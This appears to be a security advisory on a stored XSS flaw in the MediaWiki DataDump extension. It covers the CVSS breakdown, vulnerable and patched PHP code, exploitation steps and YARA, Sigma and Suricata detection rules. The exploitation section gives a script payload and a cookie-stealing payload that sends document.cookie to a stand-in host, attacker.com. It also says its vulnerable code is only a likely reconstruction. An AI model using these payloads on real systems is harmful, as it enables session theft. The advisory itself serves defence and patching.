CVE-2024-47612

Executive Summary

CVE-2024-47612 is a stored Cross-Site Scripting (XSS) vulnerability in the MediaWiki DataDump extension. The vulnerability arises because several interface messages used in the Special:DataDump page are not properly escaped before being rendered. An attacker with the editinterface right can inject malicious JavaScript into these messages. When a user with the view-dump right visits Special:DataDump, the injected script executes in their browser context. The CVSS score is 3.5 (Low), but the impact is limited to users who have the editinterface right (typically administrators) and those who can view the dump page. The patch is available in commit 601688ee8e8808a23b102fa305b178f27cbd226d.

Supply Chain & Package Security

This vulnerability is specific to the MediaWiki ecosystem and its DataDump extension. It is not related to NPM, PyPI, Go, or Ruby packages. The risk is limited to MediaWiki instances where the DataDump extension is installed and where users with editinterface rights are present.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N
• Base Score: 3.5 (Low)
• Attack Vector (AV): Network (N) - The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) - No special conditions are required.
• Privileges Required (PR): Low (L) - The attacker needs the editinterface right.
• User Interaction (UI): Required (R) - The victim must visit the Special:DataDump page.
• Scope (S): Unchanged (U) - The vulnerability does not affect other components.
• Confidentiality (C): Low (L) - Limited information disclosure.
• Integrity (I): Low (L) - Limited ability to modify content.
• Availability (A): None (N) - No impact on availability.

Threat Level: Low. Exploitation requires an authenticated user with editinterface rights, and the victim must have view-dump rights. The impact is limited to XSS within the MediaWiki context.

Deep Dive & Mechanics

The DataDump extension provides a special page (Special:DataDump) that displays the status of wiki dumps. The page uses several interface messages to label columns in a table:

• datadump-table-column-queued
• datadump-table-column-in-progress
• datadump-table-column-completed
• datadump-table-column-failed

These messages are rendered directly into the HTML without proper escaping. In MediaWiki, interface messages can be edited by users with the editinterface right (typically administrators). An attacker with this right can modify these messages to include arbitrary JavaScript.

When a user with the view-dump right visits Special:DataDump, the unescaped message content is injected into the page, and the JavaScript executes. This is a classic stored XSS vulnerability.

The vulnerable code likely uses something like:

echo Html::rawElement('th', [], wfMessage('datadump-table-column-queued')->text());

Instead of using ->escaped() or ->parse() with proper escaping.

Vulnerable vs. Patched Code

Vulnerable Code (Before Patch):

// In DataDumpSpecialPage.php or similar
$tableHeaders = [
    wfMessage('datadump-table-column-queued')->text(),
    wfMessage('datadump-table-column-in-progress')->text(),
    wfMessage('datadump-table-column-completed')->text(),
    wfMessage('datadump-table-column-failed')->text(),
];
// Then rendered directly into HTML without escaping
$html .= '<th>' . $header . '</th>';

Patched Code (After Commit 601688ee):

// Properly escape the message output
$tableHeaders = [
    wfMessage('datadump-table-column-queued')->escaped(),
    wfMessage('datadump-table-column-in-progress')->escaped(),
    wfMessage('datadump-table-column-completed')->escaped(),
    wfMessage('datadump-table-column-failed')->escaped(),
];
// Or use Html::element which auto-escapes
$html .= Html::element('th', [], $header);

The patch changes from ->text() (which returns raw text) to ->escaped() (which returns HTML-escaped text) or uses Html::element() which automatically escapes.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A MediaWiki instance with the DataDump extension installed.
• An account with the editinterface right (typically an administrator).
• A victim account with the view-dump right.

Exploitation Steps:

1. Log in as a user with editinterface rights.
2. Navigate to Special:AllMessages or directly edit the interface message.
3. Edit one of the vulnerable messages (e.g., datadump-table-column-queued) and inject a payload:

   <script>alert('XSS')</script>
   

   Or a more sophisticated payload:

   <img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">
   

4. Save the message.
5. Wait for a victim with view-dump rights to visit Special:DataDump.
6. The payload executes in the victim's browser, potentially stealing cookies or performing actions on their behalf.

No public exploit code is available for this CVE.

Blue Team

Detection:

• Monitor changes to interface messages, especially those related to DataDump.
• Look for suspicious content in datadump-table-column-* messages.
• Use the YARA and Sigma rules provided in the Detection Engineering section.

Prevention:

• Restrict the editinterface right to only trusted users.
• Apply the patch from commit 601688ee8e8808a23b102fa305b178f27cbd226d.
• Use a Web Application Firewall (WAF) to block common XSS payloads.

Hunting:

• Search for recent edits to interface messages containing <script> or onerror patterns.
• Review access logs for Special:DataDump visits from users with view-dump rights.

Indicators of Compromise (IOCs)

• File: Modified interface messages in the MediaWiki database (table page with page_namespace=8 for MediaWiki namespace).
• Network: Outbound connections from the MediaWiki server to attacker-controlled domains (if payload exfiltrates data).
• Log: Entries in Special:Log showing edits to interface messages by users with editinterface rights.
• Behavior: Unexpected JavaScript execution on Special:DataDump page.

Detection Engineering

YARA Rule

rule Detect_DataDump_XSS_Payload {
    meta:
        description = "Detects XSS payloads in MediaWiki DataDump interface messages"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-47612"
    strings:
        $msg1 = "datadump-table-column-queued"
        $msg2 = "datadump-table-column-in-progress"
        $msg3 = "datadump-table-column-completed"
        $msg4 = "datadump-table-column-failed"
        $xss1 = /<script[^>]*>/
        $xss2 = /onerror\s*=\s*["']/
        $xss3 = /onload\s*=\s*["']/
        $xss4 = /javascript\s*:/
    condition:
        any of ($msg*) and any of ($xss*)
}

Sigma Rule

title: MediaWiki DataDump XSS via Interface Message Edit
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects edits to DataDump interface messages containing XSS payloads
author: Valters IT
date: 2024-10-27
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-47612
logsource:
    product: mediawiki
    service: audit
detection:
    selection:
        EventID: "edit"
        PageTitle:
            - "MediaWiki:datadump-table-column-queued"
            - "MediaWiki:datadump-table-column-in-progress"
            - "MediaWiki:datadump-table-column-completed"
            - "MediaWiki:datadump-table-column-failed"
    keywords:
        - "<script"
        - "onerror"
        - "onload"
        - "javascript:"
    condition: selection and keywords
falsepositives:
    - Legitimate use of JavaScript in interface messages (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"MediaWiki DataDump XSS Payload in Interface Message"; flow:to_server,established; content:"POST"; http_method; content:"/index.php?title=MediaWiki:datadump-table-column-"; http_uri; pcre:"/<script[^>]*>|onerror\s*=|onload\s*=|javascript\s*:/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Apply the patch from commit 601688ee8e8808a23b102fa305b178f27cbd226d to the DataDump extension.
2. Review and sanitize all existing interface messages for malicious content.
3. Restrict the editinterface right to only essential users.

Long-Term Measures:

• Implement a Content Security Policy (CSP) to mitigate XSS impact.
• Regularly audit interface message edits.
• Keep the DataDump extension updated.

Workarounds:

• Disable the DataDump extension if not needed.
• Use a WAF to block XSS payloads.

Valters IT